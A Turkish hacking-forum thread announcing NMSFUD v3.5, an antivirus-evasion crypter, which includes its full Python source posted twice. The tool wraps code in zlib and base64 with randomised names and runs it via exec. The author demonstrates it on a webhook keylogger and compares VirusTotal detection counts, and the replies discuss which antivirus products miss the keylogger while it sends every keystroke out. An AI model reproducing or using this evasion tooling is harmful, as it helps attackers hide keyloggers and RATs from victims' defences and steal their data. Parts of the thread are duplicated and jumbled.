- Konuyu başlatan
- #21
Rica ederim.Anladım teşekkür canım dostum.
Follow along with the video below to see how to install our site as a web app on your home screen.
Not: This feature may not be available in some browsers.
Rica ederim.Anladım teşekkür canım dostum.
Çok iyi olmuş hoxamNMSFUD v3.5 YayımlandıGüncelleme Notları
- C ailesi için eklenecek program için çok uğraştım. Bir demo hazırladım ama yetersiz olacağını düşündüm ve projeyi iptal ettim. Zaten C ailesi ile yazılan çoğu aplikasyon algılanmıyor. O yüzden sonraki versiyonda eklememi istediğiniz sık tespit edilen yazılım dillerini aşağıda belirtin.
- NMSFUD projesinde katedebileceğimiz yol Linuxta çok uzun iken Windows veya MacOS ta dil desteği sorunu çekiyoruz. Python dışında cross-platform dillerini eklemeyi planlıyorum.
- FUD programında ekstra algoritmalar eklemeyi düşündüm (ki bir arkadaş bana bunu söyledi ve ben v4te gelecek dedim.) ama bu güncelleme biraz acele olmalıydı o yüzden v4 öncesi test olarak v3.5 olarak duyurdum ki beklentiler boşa çıkmasın. Ancak ekstra eklenecek algoritmaların derlenme aşamasında kullanıcılar kod imzalama yapmıyor. Sonra da NMSFUD çalışmıyor diyorlar. Ben de bu eleştirilere katlanmak istemediğimden bu seferlik (cidden eklemek istiyorum ama topluluk odaklı da olmam lazım geliştirici olarak) yeni algoritma eklemedim. Size kesin söz v4te ekleyeceğim.
Güncellemede Eklenen Özellikler
- Kullanıcının istediği mail servisiyle hata bildirebileceği bir hata ekranı.
- Invalid decimal literal sorunu çözüldü.
- Direkt mail servisine oto-mesaj özelliği.
- Resmi kod imzalama dokümantasyonu Windows için. Linux sistemlerinde gerekmiyor.
Kurulum
Öncelikle sisteminizde Python yüklü olmalı. Yüklü değilse yükleyin. Ardından sisteminizde git yüklüyse;
Git:git clone https://github.com/NMSOfficial/NMSFUD.git
komutunu terminalinizde çalıştırarak, yüklü değilse yukarıda bahsettiğim GitHub deposuna giderek. Depoyu klonlayın. GitHub deposunda karşınıza aşağıdaki ekran gelecek. Bu ekranda işaretlediğim kısma basın.
Oraya basınca karşınıza aşağıdaki ekran gelecek. Yine işaretlediğim kısma basın. İndirme başlayacak.
ZIP dosyasını çıkarınca karşınıza klasör gelecek zaten. Oradan devam edelim.
Klasör gelince bu sürüm içinpip install PyQt5python3 v3.5.pykomutunu çalıştırabilirsiniz. Ardından karşınıza aşağıdaki ekran gelecek.
Şimdilik hata bildirme ekranını arkaya aldım. Önce FUD işlemini test edelim. Dosya yüklemek için aşağıdaki ekranda işaretlediğim butona basın.
İşaretlediğim yere basınca aşağıdaki gibi bir dosya seçme ekranı gelecek. Ne seçeceğimi biliyorsunuz. Webhooklu keylogger.
Şimdi seçtim dosyamı. Ardından program direkt obfuscate etti ve kaydetti göreceğiniz üzere.
Şimdi bu dosyaları virustotale yükledim ve sonuç:
Keylogger: VirusTotal
FUD Keylogger: VirusTotal
FUD Olmadan Derlediğim Keylogger: VirusTotal
FUD Koduyla Derlediğim Keylogger: VirusTotal
Gördüğünüz üzere sorunsuz çalışıyor. Şimdi yeni eklenen özellikleri deneyelim. Öncelikle size (Windows kullanıcıları için) bir şeyden bahsetmem gerekiyor.
Pyinstaller ile derlediğiniz dosya 7-8 tane antivirüs tarafından direkt malware olarak algılanıyor. Linuxta bu sorun olmuyor ama windowsta oluyor. False-positive denir buna siber güvenlikte. Biz bu sorunu çözmek için kod imzalama sertifikası kullanırız. SignTool ise bu işlem için microsoftun geliştirdiği bir tool. PFX sertifikanız varsa direkt yapabilirsiniz signtool ile. Yoksa sordum.net in kendi kod imzalama sertifikanızı oluşturun başlıklı konusunu inceleyin. Normalde kaynak vermezdim ama benim sürekli yararlandığım bir kaynak ve emeklerinin hakkını çalmak istemem. Siteyi inceleyebilirsiniz.
Neyse işte dediğim özelliğe uygulama üzerinden ulaşmak için uygulamada aşağıda gösterdiğim yere basın.
Buraya basınca microsoftun resmi kullanma kılavuzunun Türkçe haline ulaşabilirsiniz. Şimdi de hata bildirme ekranını deneyelim.
Örnek senaryoda kullanıcımız bana ulaşmak için soru soruyor. Şimdi ise kullandığınız mail servisini seçin. Örneğimizde ben gmaili seçtim.
Şimdi ise hata bildir ekranına basalım. Varsayılan tarayıcınızda şekildeki gibi bir pencere açılacak. Bu pencerede mesajınızı düzenleyebilirsiniz. (SPAM atmayın atana ben de bomber atarım.)
Gönder butonuna basarak maili gönderebilirsiniz. Gün içerisinde sorununuz yanıtlanacaktır.
Evet NMSFUD v3.5 güncellemesi bu şekildeydi. Konumu okuduğunuz için teşekkürler. Eğer orijinal sürümde modül hatası alıyorsanız Mamilate hocamın gönderdiği tkinter versiyonu kullanabilirsiniz.
import sys
import base64
import zlib
import random
import string
import tkinter as tk
from tkinter import filedialog, messagebox, ttk
import webbrowser
def rastgele_string(uzunluk):
karakterler = string.ascii_letters + string.digits
ilk_karakter = random.choice(string.ascii_letters)
kalan_karakterler = ''.join(random.choice(karakterler) for i in range(uzunluk - 1))
return ilk_karakter + kalan_karakterler
class NMSFUD(tk.Tk):
def __init__(self):
super().__init__()
self.title("NMSFUD v3.5")
self.geometry("800x600")
self.logo = tk.PhotoImage(file="logo.png")
self.logo_label = tk.Label(self, image=self.logo)
self.logo_label.pack(pady=10)
self.dosya_buton = tk.Button(self, text="Python Dosyası Seç", command=self.dosya_sec)
self.dosya_buton.pack(pady=10)
self.sonuc_label = tk.Label(self, text="")
self.sonuc_label.pack(pady=10)
self.mesaj_label = tk.Label(self, text="NMSHacking tarafından oluşturuldu. NMSHacking kötüye kullanımda sorumluluk kabul etmeyecek.", wraplength=600)
self.mesaj_label.pack(pady=10)
self.dokuman_buton = tk.Button(self, text="Kod İmzalama Dokümantasyonu", command=self.dokumantasyon_ac)
self.dokuman_buton.pack(pady=10)
def dosya_sec(self):
dosya_ad = filedialog.askopenfilename(title="Python Dosyası Seç", filetypes=(("Python Dosyaları", "*.py"),))
if dosya_ad:
self.sifrele(dosya_ad)
def sifrele(self, dosya_ad):
with open(dosya_ad, "r") as f:
orijinal_kod = f.read()
import_satirlari = []
for satir in orijinal_kod.split('\n'):
if satir.strip().startswith('import') or satir.strip().startswith('from'):
import_satirlari.append(satir)
sikistirilmis_kod = zlib.compress(orijinal_kod.encode())
encode_edilmis_kod = base64.b64encode(sikistirilmis_kod).decode()
decode_fonksiyonu = '''
import base64
import zlib
{}
encoded_kod = "{}"
sikistirilmis_kod = base64.b64decode(encoded_kod)
orijinal_kod = zlib.decompress(sikistirilmis_kod).decode()
exec(orijinal_kod)
'''.format('\n'.join(import_satirlari), encode_edilmis_kod)
obfuscate_edilmis_kod = decode_fonksiyonu.replace('encoded_kod', rastgele_string(10)).replace('sikistirilmis_kod', rastgele_string(10)).replace('orijinal_kod', rastgele_string(10))
with open("obfuscate_edilmis_kod.py", "w") as f:
f.write(obfuscate_edilmis_kod)
self.sonuc_label.config(text="Kod obfuscate edildi ve 'obfuscate_edilmis_kod.py' dosyasına kaydedildi.")
def dokumantasyon_ac(self):
webbrowser.open("SignTool.exe (İmza Aracı) - .NET Framework")
class HataPencere(tk.Toplevel):
def __init__(self, parent):
super().__init__(parent)
self.title("Hata Bildir")
self.geometry("400x300")
self.email_label = tk.Label(self, text="Hangi e-mail servisiyle hata bildirmek istiyorsunuz?")
self.email_label.pack(pady=5)
self.email_servisleri = ttk.Combobox(self, values=["Gmail", "Outlook", "Yahoo", "ProtonMail", "Zoho", "Yandex", "GMX", "AOL", "Mail.com", "iCloud"])
self.email_servisleri.pack(pady=5)
self.hata_label = tk.Label(self, text="Aldığınız Hatayı Anlatın:")
self.hata_label.pack(pady=5)
self.hata_metni = tk.Text(self, height=5)
self.hata_metni.pack(pady=5)
self.ekran_goruntusu_label = tk.Label(self, text="Karşılaştığınız Hatanın Ekran Görüntüsü (opsiyonel):")
self.ekran_goruntusu_label.pack(pady=5)
self.ekran_goruntusu_buton = tk.Button(self, text="Dosya Seç", command=self.dosya_sec)
self.ekran_goruntusu_buton.pack(pady=5)
self.gonder_buton = tk.Button(self, text="Gönder", command=self.gonder)
self.gonder_buton.pack(pady=5)
self.dosya_yolu = None
def dosya_sec(self):
self.dosya_yolu = filedialog.askopenfilename(title="Ekran Görüntüsü Seç", filetypes=(("Resim Dosyaları", "*.png *.jpg *.jpeg *.bmp"),))
def gonder(self):
email_servisi = self.email_servisleri.get()
hata_metni = self.hata_metni.get("1.0", tk.END).strip()
if not hata_metni:
messagebox.showwarning("Hata", "Lütfen hatayı açıklayın.")
return
mesaj = f"E-posta Servisi: {email_servisi}\n\nHata Açıklaması:\n{hata_metni}"
if self.dosya_yolu:
with open(self.dosya_yolu, "rb") as file:
dosya_adi = self.dosya_yolu.split("/")[-1]
dosya_icerik = file.read()
dosya_base64 = base64.b64encode(dosya_icerik).decode()
mesaj += f"\n\nEkran Görüntüsü: {dosya_adi}\nLütfen dosyanızı aşağıdan yükleyiniz. Bu mail servisi doğrudan içerik yüklemesine izin vermemektedir."
url = ""
if email_servisi == "Gmail":
url = f"Gmail Bildirimi&body={mesaj}"
elif email_servisi == "Outlook":
url = f"https://outlook.live.com/owa/?path=/mail/action/compose&[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "Yahoo":
url = f"Yahoo{mesaj}"
elif email_servisi == "ProtonMail":
url = f"Proton Mail{mesaj}"
elif email_servisi == "Zoho":
url = f"Zoho Accounts{mesaj}"
elif email_servisi == "Yandex":
url = f"https://mail.yandex.com/[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "GMX":
url = f"https://www.gmx.com/mail/[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "AOL":
url = f"https://mail.aol.com/webmail-std/en-us/[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "Mail.com":
url = f"https://www.mail.com/mail/compose/[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "iCloud":
url = f"https://www.icloud.com/mail/[email protected]&subject=Hata Bildirimi&body={mesaj}"
webbrowser.open(url)
messagebox.showinfo("Başarılı", "Tarayıcınızda yeni bir sekme açıldı ve hata bildiriminiz oluşturuldu.")
if __name__ == '__main__':
app = NMSFUD()
hata_pencere = HataPencere(app)
hata_pencere.withdraw()
app.mainloop()ç
avast hep öyledir o çoğu fudu ve çoğu ratı havaya uçurur çoğu pc ye kuruyorlar database çok büyük rat test ederken bağlantıları sürekli kesiyorGeçiyor hocam hem virustotaldan hem de Avast, MS Defender, Bitdefender, Kaspersky, McAfee yüklü cihazda denedim keylogger derlenmiş dosyasını sadece avast başta bağlantı gidiyor diye sesini çıkardı ama sonra dosya temiz diyerek çekildi. Diğerlerinden ses seda çıkmadı.( Windows 11)
Teşekkür ederim.Çok iyi olmuş hoxam
Evet bağlantıyı başta kesti zaten, ama benim keyloggerda thread kapanmıyor bağlantı kesilince, bağlantı gelene kadar program çalışıyor. Avast kesti ama tespit edemedi sonra bağlantıyı devam ettirdi.avast hep öyledir o çoğu fudu ve çoğu ratı havaya uçurur çoğu pc ye kuruyorlar database çok büyük rat test ederken bağlantıları sürekli kesiyor
biseye fazla özellik eklersen sisiyor o zaman iste algılıyor keylogger hafif yeni yazılmıssa bideEvet bağlantıyı başta kesti zaten, ama benim keyloggerda thread kapanmıyor bağlantı kesilince, bağlantı gelene kadar program çalışıyor. Avast kesti ama tespit edemedi sonra bağlantıyı devam ettirdi.
Bir değişiklik olacağını sanmıyorum, belki sistem dizinlerinde dış ağ kaynaklı değişim gözlemlerse tespit edebilir ama dediğim gibi, basılan tüm tuşları kaydedip bunları gönderiyoruz ve tespit edemiyor. v4 te EXEC ile eklediğimde daha yararlı olacak.biseye fazla özellik eklersen sisiyor o zaman iste algılıyor keylogger hafif yeni yazılmıssa bide
Python ana kodunda bloka blok eklemesi olduysa bu hata gelebiliyor. 10. Satırda blok hatasını çözebilirsiniz. Yani oradaki bir caps ile yapılan boşluğu silmenizi ya da boşluk yetersiz ise caps ile düzeltin.3.5i açarken module hatası alıyorum konu altında verdiğin kod ise
karakterler = string.ascii_letters + string.digits
^
IndentationError: expected an indented block after function definition on line 10
hatası veriyor
Seviyom bu adamı ya, ellerine sağlık efsanesinNMSFUD v3.5 YayımlandıGüncelleme Notları
- C ailesi için eklenecek program için çok uğraştım. Bir demo hazırladım ama yetersiz olacağını düşündüm ve projeyi iptal ettim. Zaten C ailesi ile yazılan çoğu aplikasyon algılanmıyor. O yüzden sonraki versiyonda eklememi istediğiniz sık tespit edilen yazılım dillerini aşağıda belirtin.
- NMSFUD projesinde katedebileceğimiz yol Linuxta çok uzun iken Windows veya MacOS ta dil desteği sorunu çekiyoruz. Python dışında cross-platform dillerini eklemeyi planlıyorum.
- FUD programında ekstra algoritmalar eklemeyi düşündüm (ki bir arkadaş bana bunu söyledi ve ben v4te gelecek dedim.) ama bu güncelleme biraz acele olmalıydı o yüzden v4 öncesi test olarak v3.5 olarak duyurdum ki beklentiler boşa çıkmasın. Ancak ekstra eklenecek algoritmaların derlenme aşamasında kullanıcılar kod imzalama yapmıyor. Sonra da NMSFUD çalışmıyor diyorlar. Ben de bu eleştirilere katlanmak istemediğimden bu seferlik (cidden eklemek istiyorum ama topluluk odaklı da olmam lazım geliştirici olarak) yeni algoritma eklemedim. Size kesin söz v4te ekleyeceğim.
Güncellemede Eklenen Özellikler
- Kullanıcının istediği mail servisiyle hata bildirebileceği bir hata ekranı.
- Invalid decimal literal sorunu çözüldü.
- Direkt mail servisine oto-mesaj özelliği.
- Resmi kod imzalama dokümantasyonu Windows için. Linux sistemlerinde gerekmiyor.
Kurulum
Öncelikle sisteminizde Python yüklü olmalı. Yüklü değilse yükleyin. Ardından sisteminizde git yüklüyse;
Git:git clone https://github.com/NMSOfficial/NMSFUD.git
komutunu terminalinizde çalıştırarak, yüklü değilse yukarıda bahsettiğim GitHub deposuna giderek. Depoyu klonlayın. GitHub deposunda karşınıza aşağıdaki ekran gelecek. Bu ekranda işaretlediğim kısma basın.
Oraya basınca karşınıza aşağıdaki ekran gelecek. Yine işaretlediğim kısma basın. İndirme başlayacak.
ZIP dosyasını çıkarınca karşınıza klasör gelecek zaten. Oradan devam edelim.
Klasör gelince bu sürüm içinpip install PyQt5python3 v3.5.pykomutunu çalıştırabilirsiniz. Ardından karşınıza aşağıdaki ekran gelecek.
Şimdilik hata bildirme ekranını arkaya aldım. Önce FUD işlemini test edelim. Dosya yüklemek için aşağıdaki ekranda işaretlediğim butona basın.
İşaretlediğim yere basınca aşağıdaki gibi bir dosya seçme ekranı gelecek. Ne seçeceğimi biliyorsunuz. Webhooklu keylogger.
Şimdi seçtim dosyamı. Ardından program direkt obfuscate etti ve kaydetti göreceğiniz üzere.
Şimdi bu dosyaları virustotale yükledim ve sonuç:
Keylogger: VirusTotal
FUD Keylogger: VirusTotal
FUD Olmadan Derlediğim Keylogger: VirusTotal
FUD Koduyla Derlediğim Keylogger: VirusTotal
Gördüğünüz üzere sorunsuz çalışıyor. Şimdi yeni eklenen özellikleri deneyelim. Öncelikle size (Windows kullanıcıları için) bir şeyden bahsetmem gerekiyor.
Pyinstaller ile derlediğiniz dosya 7-8 tane antivirüs tarafından direkt malware olarak algılanıyor. Linuxta bu sorun olmuyor ama windowsta oluyor. False-positive denir buna siber güvenlikte. Biz bu sorunu çözmek için kod imzalama sertifikası kullanırız. SignTool ise bu işlem için microsoftun geliştirdiği bir tool. PFX sertifikanız varsa direkt yapabilirsiniz signtool ile. Yoksa sordum.net in kendi kod imzalama sertifikanızı oluşturun başlıklı konusunu inceleyin. Normalde kaynak vermezdim ama benim sürekli yararlandığım bir kaynak ve emeklerinin hakkını çalmak istemem. Siteyi inceleyebilirsiniz.
Neyse işte dediğim özelliğe uygulama üzerinden ulaşmak için uygulamada aşağıda gösterdiğim yere basın.
Buraya basınca microsoftun resmi kullanma kılavuzunun Türkçe haline ulaşabilirsiniz. Şimdi de hata bildirme ekranını deneyelim.
Örnek senaryoda kullanıcımız bana ulaşmak için soru soruyor. Şimdi ise kullandığınız mail servisini seçin. Örneğimizde ben gmaili seçtim.
Şimdi ise hata bildir ekranına basalım. Varsayılan tarayıcınızda şekildeki gibi bir pencere açılacak. Bu pencerede mesajınızı düzenleyebilirsiniz. (SPAM atmayın atana ben de bomber atarım.)
Gönder butonuna basarak maili gönderebilirsiniz. Gün içerisinde sorununuz yanıtlanacaktır.
Evet NMSFUD v3.5 güncellemesi bu şekildeydi. Konumu okuduğunuz için teşekkürler. Eğer orijinal sürümde modül hatası alıyorsanız Mamilate hocamın gönderdiği tkinter versiyonu kullanabilirsiniz.
import sys
import base64
import zlib
import random
import string
import tkinter as tk
from tkinter import filedialog, messagebox, ttk
import webbrowser
def rastgele_string(uzunluk):
karakterler = string.ascii_letters + string.digits
ilk_karakter = random.choice(string.ascii_letters)
kalan_karakterler = ''.join(random.choice(karakterler) for i in range(uzunluk - 1))
return ilk_karakter + kalan_karakterler
class NMSFUD(tk.Tk):
def __init__(self):
super().__init__()
self.title("NMSFUD v3.5")
self.geometry("800x600")
self.logo = tk.PhotoImage(file="logo.png")
self.logo_label = tk.Label(self, image=self.logo)
self.logo_label.pack(pady=10)
self.dosya_buton = tk.Button(self, text="Python Dosyası Seç", command=self.dosya_sec)
self.dosya_buton.pack(pady=10)
self.sonuc_label = tk.Label(self, text="")
self.sonuc_label.pack(pady=10)
self.mesaj_label = tk.Label(self, text="NMSHacking tarafından oluşturuldu. NMSHacking kötüye kullanımda sorumluluk kabul etmeyecek.", wraplength=600)
self.mesaj_label.pack(pady=10)
self.dokuman_buton = tk.Button(self, text="Kod İmzalama Dokümantasyonu", command=self.dokumantasyon_ac)
self.dokuman_buton.pack(pady=10)
def dosya_sec(self):
dosya_ad = filedialog.askopenfilename(title="Python Dosyası Seç", filetypes=(("Python Dosyaları", "*.py"),))
if dosya_ad:
self.sifrele(dosya_ad)
def sifrele(self, dosya_ad):
with open(dosya_ad, "r") as f:
orijinal_kod = f.read()
import_satirlari = []
for satir in orijinal_kod.split('\n'):
if satir.strip().startswith('import') or satir.strip().startswith('from'):
import_satirlari.append(satir)
sikistirilmis_kod = zlib.compress(orijinal_kod.encode())
encode_edilmis_kod = base64.b64encode(sikistirilmis_kod).decode()
decode_fonksiyonu = '''
import base64
import zlib
{}
encoded_kod = "{}"
sikistirilmis_kod = base64.b64decode(encoded_kod)
orijinal_kod = zlib.decompress(sikistirilmis_kod).decode()
exec(orijinal_kod)
'''.format('\n'.join(import_satirlari), encode_edilmis_kod)
obfuscate_edilmis_kod = decode_fonksiyonu.replace('encoded_kod', rastgele_string(10)).replace('sikistirilmis_kod', rastgele_string(10)).replace('orijinal_kod', rastgele_string(10))
with open("obfuscate_edilmis_kod.py", "w") as f:
f.write(obfuscate_edilmis_kod)
self.sonuc_label.config(text="Kod obfuscate edildi ve 'obfuscate_edilmis_kod.py' dosyasına kaydedildi.")
def dokumantasyon_ac(self):
webbrowser.open("SignTool.exe (İmza Aracı) - .NET Framework")
class HataPencere(tk.Toplevel):
def __init__(self, parent):
super().__init__(parent)
self.title("Hata Bildir")
self.geometry("400x300")
self.email_label = tk.Label(self, text="Hangi e-mail servisiyle hata bildirmek istiyorsunuz?")
self.email_label.pack(pady=5)
self.email_servisleri = ttk.Combobox(self, values=["Gmail", "Outlook", "Yahoo", "ProtonMail", "Zoho", "Yandex", "GMX", "AOL", "Mail.com", "iCloud"])
self.email_servisleri.pack(pady=5)
self.hata_label = tk.Label(self, text="Aldığınız Hatayı Anlatın:")
self.hata_label.pack(pady=5)
self.hata_metni = tk.Text(self, height=5)
self.hata_metni.pack(pady=5)
self.ekran_goruntusu_label = tk.Label(self, text="Karşılaştığınız Hatanın Ekran Görüntüsü (opsiyonel):")
self.ekran_goruntusu_label.pack(pady=5)
self.ekran_goruntusu_buton = tk.Button(self, text="Dosya Seç", command=self.dosya_sec)
self.ekran_goruntusu_buton.pack(pady=5)
self.gonder_buton = tk.Button(self, text="Gönder", command=self.gonder)
self.gonder_buton.pack(pady=5)
self.dosya_yolu = None
def dosya_sec(self):
self.dosya_yolu = filedialog.askopenfilename(title="Ekran Görüntüsü Seç", filetypes=(("Resim Dosyaları", "*.png *.jpg *.jpeg *.bmp"),))
def gonder(self):
email_servisi = self.email_servisleri.get()
hata_metni = self.hata_metni.get("1.0", tk.END).strip()
if not hata_metni:
messagebox.showwarning("Hata", "Lütfen hatayı açıklayın.")
return
mesaj = f"E-posta Servisi: {email_servisi}\n\nHata Açıklaması:\n{hata_metni}"
if self.dosya_yolu:
with open(self.dosya_yolu, "rb") as file:
dosya_adi = self.dosya_yolu.split("/")[-1]
dosya_icerik = file.read()
dosya_base64 = base64.b64encode(dosya_icerik).decode()
mesaj += f"\n\nEkran Görüntüsü: {dosya_adi}\nLütfen dosyanızı aşağıdan yükleyiniz. Bu mail servisi doğrudan içerik yüklemesine izin vermemektedir."
url = ""
if email_servisi == "Gmail":
url = f"Gmail Bildirimi&body={mesaj}"
elif email_servisi == "Outlook":
url = f"https://outlook.live.com/owa/?path=/mail/action/compose&[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "Yahoo":
url = f"Yahoo{mesaj}"
elif email_servisi == "ProtonMail":
url = f"Proton Mail{mesaj}"
elif email_servisi == "Zoho":
url = f"Zoho Accounts{mesaj}"
elif email_servisi == "Yandex":
url = f"https://mail.yandex.com/[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "GMX":
url = f"https://www.gmx.com/mail/[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "AOL":
url = f"https://mail.aol.com/webmail-std/en-us/[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "Mail.com":
url = f"https://www.mail.com/mail/compose/[email protected]&subject=Hata Bildirimi&body={mesaj}"
elif email_servisi == "iCloud":
url = f"https://www.icloud.com/mail/[email protected]&subject=Hata Bildirimi&body={mesaj}"
webbrowser.open(url)
messagebox.showinfo("Başarılı", "Tarayıcınızda yeni bir sekme açıldı ve hata bildiriminiz oluşturuldu.")
if __name__ == '__main__':
app = NMSFUD()
hata_pencere = HataPencere(app)
hata_pencere.withdraw()
app.mainloop()
Teşekkür ederim ben de seni seviyomSeviyom bu adamı ya, ellerine sağlık efsanesin![]()
xnnfmzjfkf. Paylaşırsam herkes derleyemezbirde c# arayüz yap bea
hazır kaynak kodu nasıl derleyemezler source versen yani onuda derleyemeyen gider yapay zeka sorar o bilgi çizelge sunar aman heri insanımız bedava mezar bulsa girerxnnfmzjfkf. Paylaşırsam herkes derleyemezAma yine de yapacam hatırına.
Jdksjckdjfkfkkfkg. Haklısın hocam.hazır kaynak kodu nasıl derleyemezler source versen yani onuda derleyemeyen gider yapay zeka sorar o bilgi çizelge sunar aman heri insanımız bedava mezar bulsa girer![]()
bencede hocam bir C# arayüzlü program gelir gibi derlemek zor olmaz.birde c# arayüz yap bea
Arz talep meselesi, zaten denediğim bir versiyon vardı onu düzenleyip atarım belki.bencede hocam bir C# arayüzlü program gelir gibi derlemek zor olmaz.
Chatgpt den yorulmadinmiArz talep meselesi, zaten denediğim bir versiyon vardı onu düzenleyip atarım belki.
Niye böyle dediniz.Chatgpt den yorulmadinmi
Demekki biliyorum birşeyNiye böyle dediniz.